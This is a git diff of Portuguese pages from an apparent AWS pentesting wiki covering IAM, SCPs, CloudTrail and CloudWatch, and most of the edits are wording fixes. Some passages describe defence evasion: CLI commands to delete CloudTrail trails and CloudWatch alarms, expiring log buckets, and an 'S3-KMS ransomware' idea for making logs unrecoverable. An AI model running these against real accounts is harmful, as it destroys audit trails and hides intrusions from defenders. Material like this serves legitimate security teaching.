diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index bd58487a7..8a0045107 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -10,7 +10,7 @@
No AWS, existe uma **conta root**, que é o **container pai para todas as contas** da sua **organização**. No entanto, você não precisa usar essa conta para implantar recursos, pode criar **outras contas para separar diferentes infraestruturas AWS** entre si.
-Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem criadas especificamente), assim você pode criar limites entre implantações.
+Isso é muito interessante do ponto de vista de **segurança**, pois **uma conta não poderá acessar recursos de outra conta** (exceto se pontes forem especificamente criadas), assim você pode criar limites entre as implantações.
Portanto, existem **dois tipos de contas em uma organização** (estamos falando de contas AWS e não de contas de usuário): uma única conta designada como a conta de gerenciamento e uma ou mais contas membros.
@@ -46,7 +46,7 @@ Esta é a ÚNICA maneira que **até mesmo o usuário root pode ser impedido** de
A única maneira de contornar isso é comprometer também a **conta master** que configura as SCPs (a conta master não pode ser bloqueada).
> [!WARNING]
-> Note que **as SCPs apenas restringem os principais na conta**, então outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** na sua conta.
+> Observe que **as SCPs apenas restringem os principais na conta**, portanto, outras contas não são afetadas. Isso significa que ter uma SCP que nega `s3:GetObject` não impedirá as pessoas de **acessar um bucket S3 público** em sua conta.
Exemplos de SCP:
@@ -88,15 +88,15 @@ IAM é o serviço que permitirá que você gerencie **Autenticação**, **Autori
- **Autorização** - Determina o que uma identidade pode acessar dentro de um sistema uma vez que foi autenticada.
- **Controle de Acesso** - O método e processo de como o acesso é concedido a um recurso seguro.
-IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar os mecanismos de autenticação, autorização e controle de acesso das identidades aos seus recursos dentro da sua conta AWS.
+IAM pode ser definido pela sua capacidade de gerenciar, controlar e governar mecanismos de autenticação, autorização e controle de acesso de identidades aos seus recursos dentro da sua conta AWS.
### [Usuário root da conta AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html)
-Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma única identidade de login que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**.
+Quando você cria uma conta da Amazon Web Services (AWS) pela primeira vez, você começa com uma identidade de login única que tem **acesso completo a todos** os serviços e recursos da AWS na conta. Este é o _**usuário root**_ da conta AWS e é acessado fazendo login com o **endereço de e-mail e a senha que você usou para criar a conta**.
Note que um novo **usuário admin** terá **menos permissões que o usuário root**.
-Do ponto de vista da segurança, é recomendado criar outros usuários e evitar usar este.
+Do ponto de vista de segurança, é recomendado criar outros usuários e evitar usar este.
### [Usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html)
@@ -112,21 +112,21 @@ Os usuários podem ter **MFA habilitado para login** através do console. Tokens
- **ID da Chave de Acesso Secreta**: 40 caracteres aleatórios em maiúsculas e minúsculas: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Não é possível recuperar IDs de chave de acesso secreta perdidos).
Sempre que você precisar **mudar a Chave de Acesso**, este é o processo que você deve seguir:\
-NAN;_Create uma nova chave de acesso -> Aplique a nova chave ao sistema/aplicação -> marque a original como inativa -> Teste e verifique se a nova chave de acesso está funcionando -> Exclua a chave de acesso antiga_
+_Criar uma nova chave de acesso -> Aplicar a nova chave ao sistema/aplicação -> marcar a original como inativa -> Testar e verificar se a nova chave de acesso está funcionando -> Deletar a chave de acesso antiga_
### MFA - Autenticação de Múltiplos Fatores
É usado para **criar um fator adicional para autenticação** além dos seus métodos existentes, como senha, criando assim um nível de autenticação multifatorial.\
-Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como autenticação do Google gratuitamente para ativar um MFA na AWS.
+Você pode usar um **aplicativo virtual gratuito ou um dispositivo físico**. Você pode usar aplicativos como o Google Authenticator gratuitamente para ativar um MFA na AWS.
Políticas com condições de MFA podem ser anexadas aos seguintes:
- Um usuário ou grupo IAM
-- Um recurso como um bucket Amazon S3, fila Amazon SQS ou tópico Amazon SNS
+- Um recurso como um bucket do Amazon S3, fila do Amazon SQS ou tópico do Amazon SNS
- A política de confiança de um papel IAM que pode ser assumido por um usuário
Se você quiser **acessar via CLI** um recurso que **verifica o MFA**, você precisa chamar **`GetSessionToken`**. Isso lhe dará um token com informações sobre o MFA.\
-Note que **as credenciais de `AssumeRole` não contêm essas informações**.
+Note que as credenciais de **`AssumeRole` não contêm essas informações**.
```bash
aws sts get-session-token --serial-number --token-code
```
@@ -136,13 +136,13 @@ Como [**afirmado aqui**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_cre
Um [grupo de usuários IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) é uma maneira de **anexar políticas a vários usuários** ao mesmo tempo, o que pode facilitar a gestão das permissões para esses usuários. **Funções e grupos não podem ser parte de um grupo**.
-Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e os principais são entidades IAM autenticadas.
+Você pode anexar uma **política baseada em identidade a um grupo de usuários** para que todos os **usuários** no grupo de usuários **recebam as permissões da política**. Você **não pode** identificar um **grupo de usuários** como um **`Principal`** em uma **política** (como uma política baseada em recursos) porque grupos se relacionam a permissões, não a autenticação, e principais são entidades IAM autenticadas.
Aqui estão algumas características importantes dos grupos de usuários:
-- Um **grupo de usuários** pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**.
+- Um **grupo** de usuários pode **contém muitos usuários**, e um **usuário** pode **pertencer a vários grupos**.
- **Grupos de usuários não podem ser aninhados**; eles podem conter apenas usuários, não outros grupos de usuários.
-- Não há **grupo de usuários padrão que automaticamente inclui todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele.
+- Não há **grupo de usuários padrão que inclua automaticamente todos os usuários na conta AWS**. Se você quiser ter um grupo de usuários assim, deve criá-lo e atribuir cada novo usuário a ele.
- O número e o tamanho dos recursos IAM em uma conta AWS, como o número de grupos e o número de grupos dos quais um usuário pode ser membro, são limitados. Para mais informações, veja [cotas IAM e AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
### [Funções IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html)
@@ -155,9 +155,9 @@ Uma função IAM consiste em **dois tipos de políticas**: uma **política de co
O AWS Security Token Service (STS) é um serviço web que facilita a **emissão de credenciais temporárias e de privilégio limitado**. É especificamente adaptado para:
-### [Credenciais temporárias em IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
+### [Credenciais temporárias no IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html)
-**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **previne** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
+**Credenciais temporárias são usadas principalmente com funções IAM**, mas também há outros usos. Você pode solicitar credenciais temporárias que têm um conjunto de permissões mais restrito do que seu usuário IAM padrão. Isso **impede** que você **realize acidentalmente tarefas que não são permitidas** pelas credenciais mais restritas. Um benefício das credenciais temporárias é que elas expiram automaticamente após um período definido. Você tem controle sobre a duração que as credenciais são válidas.
### Políticas
@@ -166,10 +166,10 @@ O AWS Security Token Service (STS) é um serviço web que facilita a **emissão
São usadas para atribuir permissões. Existem 2 tipos:
- Políticas gerenciadas pela AWS (pré-configuradas pela AWS)
-- Políticas Gerenciadas pelo Cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda a conceder e negar permissões) ou escrevendo a sua própria.
+- Políticas gerenciadas pelo cliente: Configuradas por você. Você pode criar políticas com base em políticas gerenciadas pela AWS (modificando uma delas e criando a sua própria), usando o gerador de políticas (uma visualização GUI que ajuda você a conceder e negar permissões) ou escrevendo a sua própria.
Por **padrão, o acesso** é **negado**, o acesso será concedido se um papel explícito tiver sido especificado.\
-Se **um único "Deny" existir, ele irá sobrepor o "Allow"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
+Se **um único "Negar" existir, ele irá sobrepor o "Permitir"**, exceto para solicitações que usam as credenciais de segurança raiz da conta AWS (que são permitidas por padrão).
```javascript
{
"Version": "2012-10-17", //Version of the policy
@@ -197,18 +197,18 @@ Os [campos específicos que podem ser usados para condições por serviço estã
#### Políticas Inline
-Esse tipo de políticas é **atribuído diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
-As políticas inline são úteis se você deseja **manter uma relação estrita um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
+Esse tipo de políticas são **atribuídas diretamente** a um usuário, grupo ou função. Assim, elas não aparecem na lista de Políticas, pois qualquer outra pode usá-las.\
+Políticas inline são úteis se você deseja **manter uma relação estrita de um-para-um entre uma política e a identidade** à qual ela é aplicada. Por exemplo, você quer ter certeza de que as permissões em uma política não são atribuídas inadvertidamente a uma identidade diferente daquela para a qual foram destinadas. Quando você usa uma política inline, as permissões na política não podem ser anexadas inadvertidamente à identidade errada. Além disso, quando você usa o AWS Management Console para excluir essa identidade, as políticas incorporadas na identidade também são excluídas. Isso ocorre porque elas fazem parte da entidade principal.
#### Políticas de Bucket de Recursos
Essas são **políticas** que podem ser definidas em **recursos**. **Nem todos os recursos da AWS as suportam**.
-Se um principal não tiver uma negação explícita sobre eles, e uma política de recurso conceder acesso, então eles são permitidos.
+Se um principal não tiver uma negação explícita sobre elas, e uma política de recurso conceder acesso, então eles são permitidos.
-### Limites IAM
+### Limites do IAM
-Os limites IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
+Os limites do IAM podem ser usados para **limitar as permissões que um usuário ou função deve ter acesso**. Dessa forma, mesmo que um conjunto diferente de permissões seja concedido ao usuário por uma **política diferente**, a operação **falhará** se ele tentar usá-las.
Um limite é apenas uma política anexada a um usuário que **indica o nível máximo de permissões que o usuário ou função pode ter**. Portanto, **mesmo que o usuário tenha acesso de Administrador**, se o limite indicar que ele pode apenas ler buckets S·, esse é o máximo que ele pode fazer.
@@ -216,7 +216,7 @@ Um limite é apenas uma política anexada a um usuário que **indica o nível m
### Políticas de Sessão
-Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
+Uma política de sessão é uma **política definida quando uma função é assumida** de alguma forma. Isso será como um **limite do IAM para essa sessão**: Isso significa que a política de sessão não concede permissões, mas **as restringe às indicadas na política** (sendo as permissões máximas aquelas que a função possui).
Isso é útil para **medidas de segurança**: Quando um administrador vai assumir uma função muito privilegiada, ele pode restringir a permissão apenas às indicadas na política de sessão, caso a sessão seja comprometida.
```bash
@@ -265,18 +265,18 @@ Para dar acesso a um usuário/grupo do Identity Center a uma conta, um **Provedo
Portanto, mesmo que você veja 2 funções com uma política inline chamada **`AwsSSOInlinePolicy`**, isso **não significa que tenha as mesmas permissões**.
-### Confiança e Funções entre Contas
+### Confianças e Funções entre Contas
**Um usuário** (confiando) pode criar uma Função entre Contas com algumas políticas e, em seguida, **permitir que outro usuário** (confiável) **acesse sua conta**, mas apenas **tendo o acesso indicado nas novas políticas da função**. Para criar isso, basta criar uma nova Função e selecionar Função entre Contas. Funções para Acesso entre Contas oferecem duas opções. Fornecendo acesso entre contas AWS que você possui e fornecendo acesso entre uma conta que você possui e uma conta AWS de terceiros.\
-É recomendável **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
+É recomendado **especificar o usuário que é confiável e não colocar algo genérico**, porque, caso contrário, outros usuários autenticados, como usuários federados, também poderão abusar dessa confiança.
### AWS Simple AD
Não suportado:
- Relações de Confiança
-- AD Admin Center
-- Suporte total à API PS
+- Centro de Administração do AD
+- Suporte completo à API PS
- Lixeira do AD
- Contas de Serviço Gerenciadas por Grupo
- Extensões de Esquema
@@ -289,7 +289,7 @@ O aplicativo usa o AssumeRoleWithWebIdentity para criar credenciais temporárias
### Outras opções IAM
- Você pode **definir uma configuração de política de senha** com opções como comprimento mínimo e requisitos de senha.
-- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com frequência de até uma vez a cada **quatro horas**.
+- Você pode **baixar o "Relatório de Credenciais"** com informações sobre credenciais atuais (como tempo de criação do usuário, se a senha está habilitada...). Você pode gerar um relatório de credenciais com a frequência de uma vez a cada **quatro horas**.
O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhado** em toda a AWS. Com o IAM, você pode especificar **quem pode acessar quais serviços e recursos**, e sob quais condições. Com as políticas IAM, você gerencia permissões para sua força de trabalho e sistemas para **garantir permissões de menor privilégio**.
@@ -297,8 +297,10 @@ O AWS Identity and Access Management (IAM) fornece **controle de acesso detalhad
Na [**esta página**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids) você pode encontrar os **prefixos de ID IAM** de chaves dependendo de sua natureza:
-| ABIA | [Token portador do serviço AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+| Código do Identificador | Descrição |
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ABIA | [Token portador do serviço AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
+
| ACCA | Credencial específica do contexto |
| AGPA | Grupo de usuários |
| AIDA | Usuário IAM |
@@ -353,7 +355,7 @@ role_session_name =
source_profile =
sts_regional_endpoints = regional
```
-Com este arquivo de configuração, você pode então usar aws cli como:
+Com este arquivo de configuração, você pode usar aws cli assim:
```
aws --profile acc2 ...
```
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
index a5445e73f..016f949c1 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md
@@ -4,7 +4,7 @@
## **CloudTrail**
-AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o quê, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. O CloudTrail é essencial para entender o comportamento de usuários e recursos, melhorar as posturas de segurança e garantir a conformidade regulatória.
+AWS CloudTrail **registra e monitora a atividade dentro do seu ambiente AWS**. Ele captura **logs de eventos** detalhados, incluindo quem fez o que, quando e de onde, para todas as interações com os recursos AWS. Isso fornece um histórico de auditoria de mudanças e ações, auxiliando na análise de segurança, auditoria de conformidade e rastreamento de mudanças de recursos. O CloudTrail é essencial para entender o comportamento de usuários e recursos, aprimorar posturas de segurança e garantir conformidade regulatória.
Cada evento registrado contém:
@@ -53,9 +53,9 @@ No entanto, mesmo que você possa salvar todos os logs no mesmo bucket S3, não
> [!CAUTION]
> Lembre-se de que uma conta pode ter **diferentes Trails** do CloudTrail **ativados** armazenando os mesmos (ou diferentes) logs em diferentes buckets.
-### Cloudtrail de todas as contas da org em 1
+### CloudTrail de todas as contas da org em 1
-Ao criar um CloudTrail, é possível indicar para ativar o cloudtrail para todas as contas na org e obter os logs em apenas 1 bucket:
+Ao criar um CloudTrail, é possível indicar para ativar o CloudTrail para todas as contas na org e obter os logs em apenas 1 bucket:
@@ -85,18 +85,18 @@ O Event History do CloudTrail permite que você inspecione em uma tabela os logs
**O CloudTrail Insights** automaticamente **analisa** eventos de gerenciamento de escrita dos trails do CloudTrail e **avisa** você sobre **atividades incomuns**. Por exemplo, se houver um aumento nos eventos `TerminateInstance` que difere das linhas de base estabelecidas, você verá isso como um evento de Insight. Esses eventos tornam **mais fácil do que nunca encontrar e responder a atividades incomuns de API**.
-Os insights são armazenados no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
+As insights são armazenadas no mesmo bucket que os logs do CloudTrail em: `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
### Security
-
-| Integridade do Arquivo de Log do CloudTrail |
Validar se os logs foram adulterados (modificados ou excluídos)
Usa arquivos de digestão (cria hash para cada arquivo)
Hashing SHA-256
SHA-256 com RSA para assinatura digital
chave privada de propriedade da Amazon
Leva 1 hora para criar um arquivo de digestão (feito a cada hora)
Restringir acesso de exclusão com políticas IAM e de bucket
Configurar exclusão MFA do S3
Validar com Validação de Arquivo de Log
|
+| Control Name | Implementation Details |
+| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| CloudTrail Log File Integrity |
Validar se os logs foram adulterados (modificados ou excluídos)
Usa arquivos de digestão (cria hash para cada arquivo)
SHA-256 hashing
SHA-256 com RSA para assinatura digital
chave privada pertencente à Amazon
Leva 1 hora para criar um arquivo de digestão (feito a cada hora)
|
+| Stop unauthorized access |
Usar políticas IAM e políticas de bucket S3
equipe de segurança —> acesso de administrador
auditores —> acesso somente leitura
Usar SSE-S3/SSE-KMS para criptografar os logs
|
+| Prevent log files from being deleted |
Restringir acesso de exclusão com políticas IAM e de bucket
Configurar exclusão MFA do S3
Validar com Validação de Arquivo de Log
|
## Access Advisor
-O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas percepções**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
+O AWS Access Advisor depende dos últimos 400 dias de logs do AWS **CloudTrail para reunir suas insights**. O CloudTrail captura um histórico das chamadas de API da AWS e eventos relacionados feitos em uma conta da AWS. O Access Advisor utiliza esses dados para **mostrar quando os serviços foram acessados pela última vez**. Ao analisar os logs do CloudTrail, o Access Advisor pode determinar quais serviços da AWS um usuário ou role IAM acessou e quando esse acesso ocorreu. Isso ajuda os administradores da AWS a tomar decisões informadas sobre **refinar permissões**, pois podem identificar serviços que não foram acessados por longos períodos e potencialmente reduzir permissões excessivamente amplas com base em padrões de uso reais.
> [!TIP]
> Portanto, o Access Advisor informa sobre **as permissões desnecessárias sendo concedidas aos usuários** para que o administrador possa removê-las
@@ -216,7 +216,7 @@ Mais informações em:
### Modificando a Configuração do CloudTrail
-#### Excluir trilhas
+#### Deletar trilhas
```bash
aws cloudtrail delete-trail --name [trail-name]
```
@@ -255,7 +255,7 @@ aws s3api put-bucket-lifecycle --bucket --lifecycle-configuration
#### Ransomware S3
-Você poderia **gerar uma chave assimétrica** e fazer **o CloudTrail criptografar os dados** com essa chave e **excluir a chave privada** para que o conteúdo do CloudTrail não possa ser recuperado.\
+Você poderia **gerar uma chave assimétrica** e fazer o **CloudTrail criptografar os dados** com essa chave e **excluir a chave privada** para que o conteúdo do CloudTrail não possa ser recuperado.\
Isso é basicamente um **ransomware S3-KMS** explicado em:
{{#ref}}
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
index bed8ba569..105d42bef 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudwatch-enum.md
@@ -14,38 +14,38 @@ Você pode monitorar, por exemplo, logs do CloudTrail. Eventos que são monitora
- Início, Parada, reinicialização e término de instâncias EC2
- Mudanças nas Políticas de Segurança dentro do IAM e S3
- Tentativas de login falhadas no Console de Gerenciamento da AWS
-- Chamadas de API que resultaram em autorização falhada
+- Chamadas de API que resultaram em falha de autorização
- Filtros para pesquisar no cloudwatch: [https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html](https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/FilterAndPatternSyntax.html)
## Conceitos-chave
### Namespaces
-Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categorizar e isolar métricas, facilitando o gerenciamento e a análise delas.
+Um namespace é um contêiner para métricas do CloudWatch. Ele ajuda a categorizar e isolar métricas, facilitando a gestão e análise delas.
- **Exemplos**: AWS/EC2 para métricas relacionadas ao EC2, AWS/RDS para métricas do RDS.
### Métricas
-Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou a utilização dos recursos AWS. As métricas podem ser coletadas de serviços AWS, aplicações personalizadas ou integrações de terceiros.
+Métricas são pontos de dados coletados ao longo do tempo que representam o desempenho ou utilização dos recursos AWS. Métricas podem ser coletadas de serviços AWS, aplicações personalizadas ou integrações de terceiros.
- **Exemplo**: CPUUtilization, NetworkIn, DiskReadOps.
### Dimensões
-Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a identificar de forma única uma métrica e fornecem contexto adicional, sendo 30 o número máximo de dimensões que podem ser associadas a uma métrica. As dimensões também permitem filtrar e agregar métricas com base em atributos específicos.
+Dimensões são pares chave-valor que fazem parte das métricas. Elas ajudam a identificar de forma única uma métrica e fornecem contexto adicional, sendo 30 o número máximo de dimensões que podem ser associadas a uma métrica. Dimensões também permitem filtrar e agregar métricas com base em atributos específicos.
- **Exemplo**: Para instâncias EC2, as dimensões podem incluir InstanceId, InstanceType e AvailabilityZone.
### Estatísticas
-Estatísticas são cálculos matemáticos realizados sobre os dados da métrica para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras.
+Estatísticas são cálculos matemáticos realizados sobre dados de métricas para resumi-los ao longo do tempo. Estatísticas comuns incluem Média, Soma, Mínimo, Máximo e Contagem de Amostras.
- **Exemplo**: Calcular a média de utilização da CPU ao longo de um período de uma hora.
### Unidades
-Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem.
+Unidades são o tipo de medida associado a uma métrica. Unidades ajudam a fornecer contexto e significado aos dados da métrica. Unidades comuns incluem Percentual, Bytes, Segundos, Contagem.
- **Exemplo**: CPUUtilization pode ser medido em Percentual, enquanto NetworkIn pode ser medido em Bytes.
@@ -58,7 +58,7 @@ Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fo
**Recursos Principais**:
- **Widgets**: Blocos de construção de painéis, incluindo gráficos, texto, alarmes e mais.
-- **Personalização**: O layout e o conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento.
+- **Personalização**: Layout e conteúdo podem ser personalizados para atender a necessidades específicas de monitoramento.
**Exemplo de Caso de Uso**:
@@ -68,7 +68,7 @@ Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fo
**Fluxos de Métricas** no AWS CloudWatch permitem que você transmita continuamente métricas do CloudWatch para um destino de sua escolha em quase tempo real. Isso é particularmente útil para monitoramento avançado, análises e painéis personalizados usando ferramentas fora da AWS.
-**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas, como utilização da CPU, uso de memória, etc., para recursos AWS.
+**Dados de Métricas** dentro dos Fluxos de Métricas referem-se às medições reais ou pontos de dados que estão sendo transmitidos. Esses pontos de dados representam várias métricas como utilização da CPU, uso de memória, etc., para recursos AWS.
**Exemplo de Caso de Uso**:
@@ -92,7 +92,7 @@ Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fo
### Detectores de Anomalias
-**Detectores de Anomalias** usam aprendizado de máquina para detectar automaticamente anomalias em suas métricas. Você pode aplicar a detecção de anomalias a qualquer métrica do CloudWatch para identificar desvios de padrões normais que possam indicar problemas.
+**Detectores de Anomalias** usam aprendizado de máquina para detectar automaticamente anomalias em suas métricas. Você pode aplicar a detecção de anomalias a qualquer métrica do CloudWatch para identificar desvios de padrões normais que podem indicar problemas.
**Componentes Principais**:
@@ -101,7 +101,7 @@ Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fo
**Exemplo de Caso de Uso**:
-- Detectando padrões incomuns de utilização da CPU em uma instância EC2 que possam indicar uma violação de segurança ou problema de aplicação.
+- Detectando padrões incomuns de utilização da CPU em uma instância EC2 que podem indicar uma violação de segurança ou problema de aplicação.
### Regras de Insight e Regras de Insight Gerenciadas
@@ -115,14 +115,14 @@ Unidades são o tipo de medida associado a uma métrica. As unidades ajudam a fo
### Logs do CloudWatch
-Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Os logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados.
+Permite **agregar e monitorar logs de aplicações** e sistemas de **serviços AWS** (incluindo CloudTrail) e **de apps/sistemas** (**CloudWatch Agent** pode ser instalado em um host). Logs podem ser **armazenados indefinidamente** (dependendo das configurações do Grupo de Logs) e podem ser exportados.
**Elementos**:
-
-| **Grupo de Logs** | Uma **coleção de fluxos de logs** que compartilham as mesmas configurações de retenção, monitoramento e controle de acesso |
+| Termo | Definição |
| ------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- |
-| **Fluxo de Logs** | Uma sequência de **eventos de log** que compartilham a **mesma fonte** |
-| **Filtros de Assinatura** | Definem um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo Kinesis Data Firehose, fluxo Kinesis ou uma função Lambda |
+| **Grupo de Logs** | Uma **coleção de fluxos de logs** que compartilham as mesmas configurações de retenção, monitoramento e controle de acesso |
+| **Fluxo de Logs** | Uma sequência de **eventos de log** que compartilham a **mesma fonte** |
+| **Filtros de Assinatura** | Define um **padrão de filtro que corresponde a eventos** em um grupo de logs específico, enviando-os para o fluxo Kinesis Data Firehose, fluxo Kinesis ou uma função Lambda |
### Monitoramento e Eventos do CloudWatch
@@ -216,9 +216,9 @@ aws events list-event-buses
### **`cloudwatch:DeleteAlarms`,`cloudwatch:PutMetricAlarm` , `cloudwatch:PutCompositeAlarm`**
-Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métrica, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas oportunas a incidentes reais.
+Um atacante com essas permissões poderia comprometer significativamente a infraestrutura de monitoramento e alerta de uma organização. Ao deletar alarmes existentes, um atacante poderia desativar alertas cruciais que notificam os administradores sobre problemas críticos de desempenho, violações de segurança ou falhas operacionais. Além disso, ao criar ou modificar alarmes de métricas, o atacante também poderia enganar os administradores com alertas falsos ou silenciar alarmes legítimos, efetivamente mascarando atividades maliciosas e impedindo respostas rápidas a incidentes reais.
-Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo porque sempre haverá um alarme composto que depende daquele alarme que você deseja deletar.
+Além disso, com a permissão **`cloudwatch:PutCompositeAlarm`**, um atacante seria capaz de criar um loop ou ciclo de alarmes compostos, onde o alarme composto A depende do alarme composto B, e o alarme composto B também depende do alarme composto A. Nesse cenário, não é possível deletar qualquer alarme composto que faça parte do ciclo, pois sempre haverá um alarme composto que depende daquele alarme que você deseja deletar.
```bash
aws cloudwatch put-metric-alarm --cli-input-json | --alarm-name --comparison-operator --evaluation-periods [--datapoints-to-alarm ] [--threshold ] [--alarm-description ] [--alarm-actions ] [--metric-name ] [--namespace ] [--statistic ] [--dimensions ] [--period ]
aws cloudwatch delete-alarms --alarm-names
